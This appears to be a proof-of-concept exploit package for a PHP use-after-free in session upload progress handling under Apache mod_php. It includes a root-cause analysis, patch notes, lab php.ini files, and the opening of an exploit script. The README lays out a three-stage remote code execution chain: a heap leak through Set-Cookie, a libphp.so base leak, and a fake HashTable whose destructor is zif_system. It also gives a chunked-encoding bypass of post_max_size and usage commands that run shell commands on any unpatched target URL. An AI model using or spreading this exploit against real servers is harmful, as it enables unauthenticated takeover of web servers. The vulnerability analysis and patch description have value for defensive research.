Without the filler spray, the stale struct retains its request 1 layout
|
||||||
|
at the critical fields:
|
||||||
|
|
||||||
|
```
|
||||||
|
last = &entries (self-referencing, valid)
|
||||||
|
entries.used_slots = 1 (partially overwritten by heap metadata)
|
||||||
|
entries.data[0] = 0x780c8a923010 (stale zval* from request 1)
|
||||||
|
```
|
||||||
|
|
||||||
|
When the session data contains `x|R:1;`, the unserializer calls
|
||||||
|
`var_access(0, stale_struct)`, which reads `entries.data[0]` (the stale
|
||||||
|
pointer) and returns it. PHP then does `ZVAL_COPY(rval, stale_zval)`.
|
||||||
|
|
||||||
|
The stale zval's type matches whatever the first OOM session entry was:
|
||||||
|
|
||||||
|
| OOM session first value | Stale zval type | Result |
|
||||||
|
|---|---|---|
|
||||||
|
| String (e.g. `s:8000:"BBB..."`) | IS_STRING | Original string content intact |
|
||||||
|
| Integer (e.g. `i:42;`) | IS_LONG | Original integer value |
|
||||||
|
| Boolean (e.g. `b:1;`) | IS_TRUE | Original boolean value |
|
||||||
|
| Object (e.g. `O:8:"stdClass":0:{}`) | IS_OBJECT | CRASH (freed zend_object dereference) |
|
||||||
|
| Array (e.g. `a:0:{}`) | IS_ARRAY | Self-referencing `$_SESSION` (infinite recursion) |
|
||||||
|
|
||||||
|
The cached ZendMM chunk retains page data across requests (only the
|
||||||
|
chunk header metadata is zeroed, not the data pages). This means the
|
||||||
|
stale zval at `entries.data[0]` contains the **attacker's own data**
|
||||||
|
from request 1, not leaked heap memory or code pointers.
|
||||||
|
|
||||||
|
This is a confirmed type confusion, but it does NOT provide an info
|
||||||
|
leak. The value appears in `$_SESSION['x']` and is accessible to the
|
||||||
|
main PHP script, but only contains data the attacker already knows.
|
||||||
|
|
||||||
|
### Why filler spray and type confusion are mutually exclusive
|
||||||
|
|
||||||
|
The session decode calls `var_tmp_var(&var_hash)` (var_unserializer.re
|
||||||
|
line 187) BEFORE `php_var_unserialize()` for each session key-value
|
||||||
|
pair. `var_tmp_var` reads `(*var_hashx)->last_dtor` at struct offset 16.
|
||||||
|
|
||||||
|
Without filler spray: `last_dtor` retains its request 1 value (NULL for
|
||||||
|
simple string values). `var_tmp_var` allocates a new `var_dtor_entries`
|
||||||
|
struct and writes the pointer to offset 16. No crash.
|
||||||
|
|
||||||
|
With filler spray: offset 16 is overwritten by the `zend_string` `len`
|
||||||
|
field (e.g., 8200 = 0x2008). `var_tmp_var` dereferences 0x2008 as a
|
||||||
|
`var_dtor_entries*`, which is an unmapped address. SIGSEGV before
|
||||||
|
`var_access` runs.
|
||||||
|
|
||||||
|
This means there is no exploitation window where controlled data
|
||||||
|
coexists with a readable stale reference. Filler spray corrupts the
|
||||||
|
struct before `var_access` can read the controlled pages.
|
||||||
|
|
||||||
|
## Confirmed primitives
|
||||||
|
|
||||||
|
Tested on PHP 8.3.35 (source build), Apache 2.4.58 (prefork,
|
||||||
|
MaxRequestWorkers=1), Ubuntu 24.04, x86_64:
|
||||||
|
|
||||||
|
| Primitive | Status | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| OOM during RFC1867 session decode | Confirmed | 33000-entry session, 4MB limit |
|
||||||
|
| Apache prefork worker survival | Confirmed | Same PID after OOM |
|
||||||
|
| Stale BG(unserialize) state | Confirmed | level=1, data=freed ptr (GDB) |
|
||||||
|
| Page reclamation via filler spray | Confirmed | 27+ fields crashes worker |
|
||||||
|
| UAF crash (SIGSEGV in var_push) | Confirmed | Reproducible, first attempt |
|
||||||
|
| Type confusion via var_access | Confirmed | R:1 resolves stale zval, type matches OOM session |
|
||||||
|
| Stale value = attacker's own data | Confirmed | Cached chunk retains pages, no info leak |
|
||||||
|
| Filler/type-confusion mutual exclusion | Confirmed | var_tmp_var crashes at offset 16 before var_access |
|
||||||
|
| Session key injection via `\|` | Blocked | php serializer skips keys with `\|` |
|
||||||
|
| Info leak via type confusion | Not possible | Reads own data, not heap metadata |
|
||||||
|
| Full RCE | Not achieved | ASLR + mutual exclusion + no info leak |
|
||||||
|
|
||||||
|
## Exploitation constraints
|
||||||
|
|
||||||
|
### Why full RCE is not achieved
|
||||||
|
|
||||||
|
Five independent constraints block RCE from this primitive.
|
||||||
|
|
||||||
|
#### 1. GC header overlap (var_push path)
|
||||||
|
|
||||||
|
The struct's three pointer fields at offsets 0-23 overlap with the
|
||||||
|
`zend_string` header, which is set by the allocator:
|
||||||
|
|
||||||
|
- `last` (offset 0) = `gc_refcount` + `gc_type_info`: the allocator sets
|
||||||
|
refcount=1 and type_info=IS_STRING with GC flags. This produces a low,
|
||||||
|
invalid address like `0x0000030600000001`. The attacker cannot control
|
||||||
|
these bytes.
|
||||||
|
|
||||||
|
- `first_dtor` (offset 8) = `hash`: lazily computed, initially 0 (NULL).
|
||||||
|
This is safe: `var_destroy` checks `first_dtor != NULL` before
|
||||||
|
iterating the dtor chain.
|
||||||
|
|
||||||
|
- `last_dtor` (offset 16) = `len`: the string length (e.g., 8200 =
|
||||||
|
`0x2008`). This is also a low, unmapped address.
|
||||||
|
|
||||||
|
The attacker controls bytes from offset 24 onward (`allowed_classes`,
|
||||||
|
`ref_props`, `max_depth`, `entries.used_slots`, `entries.next`,
|
||||||
|
`entries.data[]`), but `var_push` crashes reading `last` (offset 0)
|
||||||
|
before any of these fields are reached.
|
||||||
|
|
||||||
|
#### 2. No info leak (var_access path)
|
||||||
|
|
||||||
|
The type confusion via `var_access` avoids the GC header crash, but
|
||||||
|
`entries.data[0]` points to a Bucket in request 1's session HashTable
|
||||||
|
arData. The ZendMM cached chunk retains data pages across requests
|
||||||
|
(only the chunk header is zeroed during `zend_mm_shutdown` with
|
||||||
|
`memset(p, 0, sizeof(zend_mm_chunk))`). The stale zval at
|
||||||
|
`entries.data[0]` contains the **attacker's own session data**, not
|
||||||
|
leaked heap metadata or code pointers.
|
||||||
|
|
||||||
|
Testing confirms the stale value's type matches the OOM session's first
|
||||||
|
entry (string -> IS_STRING with original content, integer -> IS_LONG
|
||||||
|
with original value, etc.). This is not an info leak.
|
||||||
|
|
||||||
|
To exploit the type confusion for RCE, the attacker would need to:
|
||||||
|
1. Leak a heap pointer to determine the ZendMM chunk base, then
|
||||||
|
2. Spray controlled data to overlapping pages, then
|
||||||
|
3. Use the type confusion to read crafted objects
|
||||||
|
|
||||||
|
Step 1 is impossible through this vulnerability: no path reads heap
|
||||||
|
metadata or code pointers through the type confusion.
|
||||||
|
|
||||||
|
#### 2b. Mutual exclusion of filler spray and type confusion
|
||||||
|
|
||||||
|
The filler spray (needed to place controlled data on stale pages) and
|
||||||
|
the type confusion (needed to read stale data) cannot coexist:
|
||||||
|
|
||||||
|
- `var_tmp_var()` reads `(*var_hashx)->last_dtor` at struct offset 16
|
||||||
|
BEFORE `php_var_unserialize()` calls `var_access` at offset 56.
|
||||||
|
- Without spray: offset 16 = NULL (from request 1), `var_tmp_var`
|
||||||
|
allocates normally, type confusion works but reads own data.
|
||||||
|
- With spray: offset 16 = zend_string `len` (e.g., 0x2008), `var_tmp_var`
|
||||||
|
dereferences 0x2008 as a pointer -> SIGSEGV before var_access runs.
|
||||||
|
|
||||||
|
There is no exploitation window where controlled content on the stale
|
||||||
|
pages is readable via the type confusion.
|
||||||
|
|
||||||
|
#### 3. Built-in classes lack usable exploitation path
|
||||||
|
|
||||||
|
The RFC1867 session decode runs during `sapi_activate()`, before module
|
||||||
|
RINIT and main script execution. Only PHP's built-in/internal classes
|
||||||
|
are registered. An audit of all statically compiled extensions found:
|
||||||
|
|
||||||
|
**Classes with exploitable `free_obj` handlers:**
|
||||||
|
- `SplFileObject/SplFileInfo/DirectoryIterator`: `free_obj` calls
|
||||||
|
`intern->oth_handler->dtor(intern)`, a function pointer call through
|
||||||
|
object data. But `oth_handler` is only set by Phar.
|
||||||
|
- `PDO`: `free_obj` calls `dbh->methods->closer(dbh)`, another function
|
||||||
|
pointer through object data.
|
||||||
|
|
||||||
|
**Why these are unusable:** Constructing a fake `zend_object` that
|
||||||
|
redirects `handlers` to a real handlers table requires knowing
|
||||||
|
`libphp.so`'s base address. The heap chunk address is stable within a
|
||||||
|
process, but code segment addresses are independent. No code address
|
||||||
|
leak was found through this vulnerability.
|
||||||
|
|
||||||
|
#### 4. Session key validation
|
||||||
|
|
||||||
|
The `PHP_SESSION_UPLOAD_PROGRESS` form field value becomes part of the
|
||||||
|
session key (prefixed with `upload_progress_`). A `|` character in this
|
||||||
|
value could inject serialized data into the session file, since the
|
||||||
|
`php` session serializer uses `|` as the key-value delimiter.
|
||||||
|
|
||||||
|
However, `PS_SERIALIZER_ENCODE_FUNC(php)` explicitly checks for `|` in
|
||||||
|
session keys with `memchr()` and skips keys containing it. The injected
|
||||||
|
key is stored in `$_SESSION` but never written to the session file,
|
||||||
|
preventing deserialization injection on subsequent requests.
|
||||||
|
|
||||||
|
### What would be needed for full RCE
|
||||||
|
|
||||||
|
1. **An info leak from a separate vulnerability**: The type confusion
|
||||||
|
reads the attacker's own data. A separate vulnerability providing
|
||||||
|
either a heap pointer or a libphp.so code pointer would enable:
|
||||||
|
- Heap pointer: spray fake objects at known addresses
|
||||||
|
- Code pointer: construct fake `zend_object.handlers` pointing to
|
||||||
|
real handler tables for SplFileObject/PDO/Closure
|
||||||
|
|
||||||
|
2. **Bypass of filler/type-confusion mutual exclusion**: A way to place
|
||||||
|
controlled data on stale pages without corrupting struct offset 16
|
||||||
|
(`last_dtor`). No such technique was found. The struct occupies 3
|
||||||
|
pages (8216 bytes), and large allocations cover full pages including
|
||||||
|
offset 16.
|
||||||
|
|
||||||
|
3. **Loaded classes with POP chains**: If a framework's classes were
|
||||||
|
loaded before session decode, deserialized objects could trigger
|
||||||
|
exploitable magic methods. Standard PHP and WordPress do not load
|
||||||
|
user classes before `sapi_activate()`.
|
||||||
|
|
||||||
|
4. **Alternative allocation type**: An 8216-byte allocation where the
|
||||||
|
attacker controls offset 0 and 16 (blocking the GC header overlap
|
||||||
|
and `last_dtor` corruption). No such type was identified in the
|
||||||
|
multipart parsing code path.
|
||||||
|
|
||||||
|
## The patch (PHP 8.3.36, 8.4.27, 8.5.12)
|
||||||
|
|
||||||
|
Three independent defense layers, any one sufficient:
|
||||||
|
|
||||||
|
### 1. php_basic_early_rinit()
|
||||||
|
|
||||||
|
New function called from `php_request_startup()` AFTER `zend_activate()`
|
||||||
|
but BEFORE `sapi_activate()`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
PHPAPI void php_basic_early_rinit(void) {
|
||||||
|
BG(serialize_lock) = 0;
|
||||||
|
memset(&BG(serialize), 0, sizeof(BG(serialize)));
|
||||||
|
memset(&BG(unserialize), 0, sizeof(BG(unserialize)));
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Eliminates the stale state window entirely. Even if OOM occurs, the
|
||||||
|
BG state is zeroed before RFC1867 processing on the next request.
|
||||||
|
|
||||||
|
### 2. Delayed OOM
|
||||||
|
|
||||||
|
`zend_bailout()` on OOM is completely removed. The allocator now either:
|
||||||
|
- Returns NULL (fallible mode) for checked allocations
|
||||||
|
- Succeeds beyond the soft limit (non-fallible mode) and queues a
|
||||||
|
delayed error via `EG(delayed_oom)` + VM interrupt
|
||||||
|
|
||||||
|
No longjmp means all cleanup code runs normally, including
|
||||||
|
`php_var_unserialize_destroy()`.
|
||||||
|
|
||||||
|
A hard limit (`memory_hard_limit_percent`, default 200%) calls
|
||||||
|
`_exit(137)` as a safety net.
|
||||||
|
|
||||||
|
### 3. Session handler hardening
|
||||||
|
|
||||||
|
- `PS(in_rfc1867_update)` flag forces `incomplete_classes_only` mode
|
||||||
|
during RFC1867 session decode (no `__wakeup`/`__unserialize`)
|
||||||
|
- `php_rinit_session_globals()` called at `MULTIPART_EVENT_START`
|
||||||
|
- `$_SESSION` cleanup at `MULTIPART_EVENT_END`
|
||||||
|
- `PG(modules_activated)` check prevents RFC1867 callback during
|
||||||
|
`request_parse_body()`
|
||||||
|
- ~30 `ZEND_HAS_OOM()` checks throughout `rfc1867.c` for graceful
|
||||||
|
handling of allocation failures
|
||||||
|
|
||||||
|
## Why this does not apply to latest PHP
|
||||||
|
|
||||||
|
The latest stable PHP versions (8.3.36+, 8.4.27+, 8.5.12+) include all
|
||||||
|
three defense layers. The patch is comprehensive:
|
||||||
|
|
||||||
|
- Layer 1 alone blocks the attack (no stale state)
|
||||||
|
- Layer 2 alone blocks the attack (no longjmp, cleanup runs)
|
||||||
|
- Layer 3 alone limits exploitability (no object instantiation)
|
||||||
|
|
||||||
|
No bypass path has been identified for any of the three layers.
|
||||||
@@ -0,0 +1,259 @@
|
|||||||
|
# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
|
||||||
|
|
||||||
|
Remote code execution in PHP's session upload progress handler, exploitable
|
||||||
|
over plain HTTP against Apache mod_php with **completely stock configuration**.
|
||||||
|
No LFI, no framework dependency, no non-default PHP settings required.
|
||||||
|
|
||||||
|
## Affected versions
|
||||||
|
|
||||||
|
PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11,
|
||||||
|
running under Apache mod_php with prefork MPM.
|
||||||
|
|
||||||
|
Patched in PHP 8.3.36, 8.4.27, 8.5.12.
|
||||||
|
|
||||||
|
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
|
||||||
|
so stale state never persists across requests.
|
||||||
|
|
||||||
|
## What this exploit achieves
|
||||||
|
|
||||||
|
Full remote code execution (arbitrary command) from a single unauthenticated
|
||||||
|
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
|
||||||
|
page does not need `session_start()` or any specific code.
|
||||||
|
|
||||||
|
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
|
||||||
|
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
|
||||||
|
`display_errors=On`, `MaxRequestWorkers=150`).
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
All of these are default on stock PHP Docker images and common Debian/Ubuntu
|
||||||
|
Apache + mod_php installations:
|
||||||
|
|
||||||
|
- Apache mod_php with prefork MPM
|
||||||
|
- `session.upload_progress.enabled = 1` (default: on)
|
||||||
|
- `session.upload_progress.cleanup = 1` (default: on)
|
||||||
|
- Any PHP-handled URL (even a 404 error page)
|
||||||
|
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
|
||||||
|
|
||||||
|
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
|
||||||
|
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
|
||||||
|
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
|
||||||
|
|
||||||
|
For multi-worker Apache (the default), the `--workers N` spray mode sends
|
||||||
|
the OOM trigger to all workers before probing for the leak.
|
||||||
|
|
||||||
|
## How it works
|
||||||
|
|
||||||
|
### The vulnerability chain
|
||||||
|
|
||||||
|
**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
|
||||||
|
parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
|
||||||
|
the request shutdown handler. This skips session cleanup code in
|
||||||
|
`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
|
||||||
|
and `PS(send_cookie) = 1`.
|
||||||
|
|
||||||
|
**CVE-2026-109619**: On the next request to the same Apache worker,
|
||||||
|
`sapi_activate()` runs the RFC1867 callback BEFORE session state is
|
||||||
|
properly reinitialized. The callback sees the stale `PS(id)` and
|
||||||
|
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
|
||||||
|
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
|
||||||
|
through the stale pointer and emits it as a `Set-Cookie` header.
|
||||||
|
|
||||||
|
### post_max_size bypass via chunked Transfer-Encoding
|
||||||
|
|
||||||
|
PHP checks `Content-Length` against `post_max_size` before invoking the
|
||||||
|
multipart parser. If `Content-Length` exceeds the limit, the body is
|
||||||
|
rejected entirely. However, when the request uses `Transfer-Encoding:
|
||||||
|
chunked` instead of `Content-Length`, no upfront size check occurs.
|
||||||
|
PHP's `sapi_read_post_block()` reads chunked data from Apache's input
|
||||||
|
filter chain without enforcing `post_max_size`, allowing the full body
|
||||||
|
to be processed regardless of the configured limit.
|
||||||
|
|
||||||
|
This means the exploit works against `memory_limit=128M` with
|
||||||
|
`post_max_size=8M` by sending ~140MB of chunked POST data.
|
||||||
|
|
||||||
|
### Three-stage exploit (full ASLR bypass)
|
||||||
|
|
||||||
|
All traffic is plain HTTP multipart POST requests:
|
||||||
|
|
||||||
|
**Stage 1: Heap ASLR bypass (Zend MM chunk base)**
|
||||||
|
|
||||||
|
Request A sends 1001+ fields (triggering `max_input_vars` warning which
|
||||||
|
sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
|
||||||
|
`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
|
||||||
|
large field via chunked TE to trigger OOM. The warning output prevents
|
||||||
|
`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
|
||||||
|
remains 1 and `PS(id)` becomes a dangling pointer.
|
||||||
|
|
||||||
|
Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
|
||||||
|
with a forge field containing a fake `zend_string` header (`len = 0x1000`).
|
||||||
|
The filler fields' heap allocations overlap the dangling `PS(id)` address.
|
||||||
|
When `php_session_send_cookie()` runs with the stale pointer, it reads
|
||||||
|
4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
|
||||||
|
bytes contain Zend MM free-list pointers, which reveal the chunk base
|
||||||
|
address (2MB aligned).
|
||||||
|
|
||||||
|
**Stage 2: Code ASLR bypass (libphp.so base)**
|
||||||
|
|
||||||
|
Similar to stage 1, but request B's field layout places a real PHP
|
||||||
|
`HashTable` structure at the dangling pointer offset. The `pDestructor`
|
||||||
|
field of the HashTable is a function pointer into libphp.so
|
||||||
|
(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
|
||||||
|
load address.
|
||||||
|
|
||||||
|
**Stage 3: RCE (zif_system)**
|
||||||
|
|
||||||
|
Request A poisons the worker with stale session state. Request B sprays
|
||||||
|
the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
|
||||||
|
whose `pDestructor = zif_system`. When session cleanup calls
|
||||||
|
`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
|
||||||
|
attacker-controlled arguments, executing an arbitrary shell command as
|
||||||
|
the web server user (`www-data`).
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Auto-detect PHP version, look up offsets, exploit
|
||||||
|
python3 rce_exploit.py -u http://target/index.php
|
||||||
|
|
||||||
|
# Auto-pull matching Docker image for offset extraction
|
||||||
|
python3 rce_exploit.py -u http://target/index.php --auto-pull
|
||||||
|
|
||||||
|
# Verify RCE via docker exec (for testing)
|
||||||
|
python3 rce_exploit.py -u http://target/index.php \
|
||||||
|
--docker-proof CONTAINER /tmp/pwn
|
||||||
|
|
||||||
|
# Multi-worker Apache spray mode
|
||||||
|
python3 rce_exploit.py -u http://target/ --workers 150
|
||||||
|
|
||||||
|
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
|
||||||
|
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
|
||||||
|
|
||||||
|
# Extract offsets for a new PHP build
|
||||||
|
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
|
||||||
|
--php-version 8.3.35
|
||||||
|
```
|
||||||
|
|
||||||
|
### Options
|
||||||
|
|
||||||
|
| Flag | Default | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `-u URL` | (required) | Target URL (any PHP endpoint) |
|
||||||
|
| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
|
||||||
|
| `--workers N` | 1 | Apache workers to spray |
|
||||||
|
| `--huge-mb N` | 140 | OOM field size in MB |
|
||||||
|
| `--docker-proof C P` | | Verify via `docker exec C cat P` |
|
||||||
|
| `--auto-pull` | off | Pull Docker image for offset extraction |
|
||||||
|
| `--retries N` | 5 | Attempts per stage |
|
||||||
|
| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
|
||||||
|
| `--timeout` | 30.0 | Socket timeout in seconds |
|
||||||
|
|
||||||
|
### Built-in offset database
|
||||||
|
|
||||||
|
| PHP version | Distro | Status |
|
||||||
|
|---|---|---|
|
||||||
|
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
|
||||||
|
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
|
||||||
|
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||||
|
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||||
|
|
||||||
|
## The patch
|
||||||
|
|
||||||
|
The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense
|
||||||
|
layers. Any one of the first three alone is sufficient to block the attack:
|
||||||
|
|
||||||
|
1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The
|
||||||
|
session RFC1867 callback now calls `php_rinit_session_globals()` at
|
||||||
|
the very start of multipart parsing, unconditionally zeroing `PS(id)`,
|
||||||
|
`PS(session_status)`, and `PS(send_cookie)`. This destroys the
|
||||||
|
dangling `PS(id)` from the previous request before B's parsing begins.
|
||||||
|
This single defense is sufficient to kill the entire exploit chain.
|
||||||
|
|
||||||
|
2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` /
|
||||||
|
longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer
|
||||||
|
triggers a longjmp during allocation. Instead, a soft limit records
|
||||||
|
the error and sets `vm_interrupt`. Allocations return NULL in fallible
|
||||||
|
mode or succeed up to a hard limit (default 200% of `memory_limit`).
|
||||||
|
A hard limit calls `_exit(137)`. No longjmp means all cleanup code
|
||||||
|
runs normally, so stale state never persists.
|
||||||
|
|
||||||
|
3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new
|
||||||
|
check in `fill_buffer()` enforces `post_max_size` against
|
||||||
|
`SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE
|
||||||
|
bypass (which previously allowed sending 140MB despite 8M limit) is
|
||||||
|
blocked. OOM cannot be triggered via multipart data alone.
|
||||||
|
|
||||||
|
4. **`php_basic_early_rinit()`**: Called from `php_request_startup()`
|
||||||
|
before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`,
|
||||||
|
and `BG(unserialize)`, eliminating the stale serialization state
|
||||||
|
window from CVE-2026-109618.
|
||||||
|
|
||||||
|
5. **Session deserialization hardening**: RFC1867 session decode runs in
|
||||||
|
`incomplete_classes_only` mode (no `__wakeup`/`__unserialize`).
|
||||||
|
`$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)`
|
||||||
|
guard prevents `request_parse_body()` from corrupting session state.
|
||||||
|
|
||||||
|
## Test environment
|
||||||
|
|
||||||
|
The `docker/` directory contains a minimal test setup:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd docker && docker compose up -d
|
||||||
|
# Stock settings variant (no custom php.ini):
|
||||||
|
docker run -d --name stock -p 8093:80 php:8.4.26-apache
|
||||||
|
```
|
||||||
|
|
||||||
|
The exploit has been tested on:
|
||||||
|
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
|
||||||
|
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
|
||||||
|
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
|
||||||
|
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
|
||||||
|
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
|
||||||
|
|
||||||
|
## display_errors and WordPress
|
||||||
|
|
||||||
|
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
|
||||||
|
The `max_input_vars` warning must produce visible output to set
|
||||||
|
`SG(headers_sent) = 1` before the session cookie attempt, which causes
|
||||||
|
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
|
||||||
|
the next request's leak.
|
||||||
|
|
||||||
|
With `display_errors = Off`, the warning is logged but produces no output.
|
||||||
|
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
|
||||||
|
cookie is emitted on the subsequent request.
|
||||||
|
|
||||||
|
**Why stock PHP is still vulnerable**: PHP's compile-time default for
|
||||||
|
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
|
||||||
|
without a `php.ini`, so the default applies. Only when a system
|
||||||
|
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
|
||||||
|
or adds explicit INI configuration is the target hardened against this leak.
|
||||||
|
|
||||||
|
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
|
||||||
|
in `wp-settings.php`. This `ini_set` executes during script startup, which
|
||||||
|
is AFTER multipart POST parsing (where the OOM and session leak occur).
|
||||||
|
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
|
||||||
|
is vulnerable, because `display_errors` is still `On` at the time the
|
||||||
|
exploit code path runs. The official `wordpress:*` Docker images ship
|
||||||
|
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
|
||||||
|
level, which does block the leak.
|
||||||
|
|
||||||
|
**Why display_errors=Off cannot be bypassed**: The info leak requires
|
||||||
|
`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during
|
||||||
|
`MULTIPART_EVENT_FILE_START`. The only code path that sets
|
||||||
|
`SG(headers_sent)` during multipart parsing is the error display path
|
||||||
|
(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is
|
||||||
|
gated on `display_errors`. With `display_errors = Off`, warnings go to
|
||||||
|
the error log only, producing no output. There is no alternative
|
||||||
|
mechanism to force HTTP output during multipart parsing: the SAPI write
|
||||||
|
function is the only path, and it requires display_errors or explicit
|
||||||
|
script output (which has not started yet at this stage of request
|
||||||
|
processing). Precision OOM calibration (attempting to trigger OOM inside
|
||||||
|
the ~500-byte `php_session_send_cookie` window) was tested and fails
|
||||||
|
due to Zend MM bin-size boundaries causing ~1MB allocation jumps that
|
||||||
|
cannot be calibrated to the required precision.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
|
||||||
|
- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
|
||||||
|
- CVSS: 9.2 (both CVEs, per Rapid7)
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
<?php
|
||||||
|
// Any PHP page works. session_start() is NOT required.
|
||||||
|
echo "OK";
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
display_errors = Off
|
||||||
|
memory_limit = 8M
|
||||||
|
session.upload_progress.enabled = 1
|
||||||
|
session.upload_progress.cleanup = 1
|
||||||
|
max_input_vars = 1000
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
display_errors = Off
|
||||||
|
memory_limit = 128M
|
||||||
|
session.upload_progress.enabled = 1
|
||||||
|
session.upload_progress.cleanup = 1
|
||||||
|
max_input_vars = 1000
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
; Minimal config for the UAF RCE exploit lab.
|
||||||
|
; Most settings match the stock php:8.4.26-apache defaults.
|
||||||
|
display_errors = On
|
||||||
|
memory_limit = 8M
|
||||||
|
session.upload_progress.enabled = 1
|
||||||
|
session.upload_progress.cleanup = 1
|
||||||
|
max_input_vars = 1000
|
||||||
@@ -0,0 +1,596 @@
|
|||||||
|
#!/usr/bin/env python3 -I
|
||||||
|
"""
|
||||||
|
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
|
||||||
|
Apache mod_php (prefork MPM), no LFI, no framework dependencies
|
||||||
|
|
||||||
|
Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26,
|
||||||
|
8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack
|
||||||
|
chain with three independent defense layers:
|
||||||
|
1. php_basic_early_rinit() resets BG(serialize/unserialize) each request
|
||||||
|
2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM)
|
||||||
|
3. Session handler hardening (incomplete_classes_only mode during RFC1867)
|
||||||
|
|
||||||
|
Vulnerability chain:
|
||||||
|
|
||||||
|
CVE-2026-109618: OOM in the multipart parser triggers zend_bailout()
|
||||||
|
(longjmp), which skips php_var_unserialize_destroy(). This leaves
|
||||||
|
BG(unserialize).level=1 and BG(unserialize).data pointing at a freed
|
||||||
|
php_unserialize_data struct (8216 bytes, 3 ZendMM pages).
|
||||||
|
|
||||||
|
CVE-2026-109619: The session upload progress globals populated by
|
||||||
|
the RFC1867 callback survive into the next request. On the next
|
||||||
|
request, sapi_activate() runs the RFC1867 callback BEFORE
|
||||||
|
PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls
|
||||||
|
php_session_decode() -> php_var_unserialize_init(), which sees
|
||||||
|
BG(unserialize).level > 0 and returns the stale .data pointer.
|
||||||
|
Classic use-after-free.
|
||||||
|
|
||||||
|
Attack phases:
|
||||||
|
|
||||||
|
Phase 1 (Plant): Write a large session file (~682KB, 33000 entries)
|
||||||
|
that will trigger HashTable resize needing ~2.25MB when decoded.
|
||||||
|
|
||||||
|
Phase 2 (OOM): Multipart upload referencing that session ID.
|
||||||
|
RFC1867 progress callback reads and decodes the session file.
|
||||||
|
HashTable resize exceeds memory_limit, OOM fires zend_bailout().
|
||||||
|
Worker survives. BG(unserialize).level=1, .data=freed heap pointer.
|
||||||
|
|
||||||
|
Phase 3 (Crash): Another upload (no intermediate GET requests, which
|
||||||
|
would zero BG state via RINIT). Filler form fields create many
|
||||||
|
3-page zend_string allocations that consume ZendMM pages up to the
|
||||||
|
stale struct's position (~page 288). The struct's 'last' pointer
|
||||||
|
(offset 0) is overwritten by the zend_string GC header (refcount +
|
||||||
|
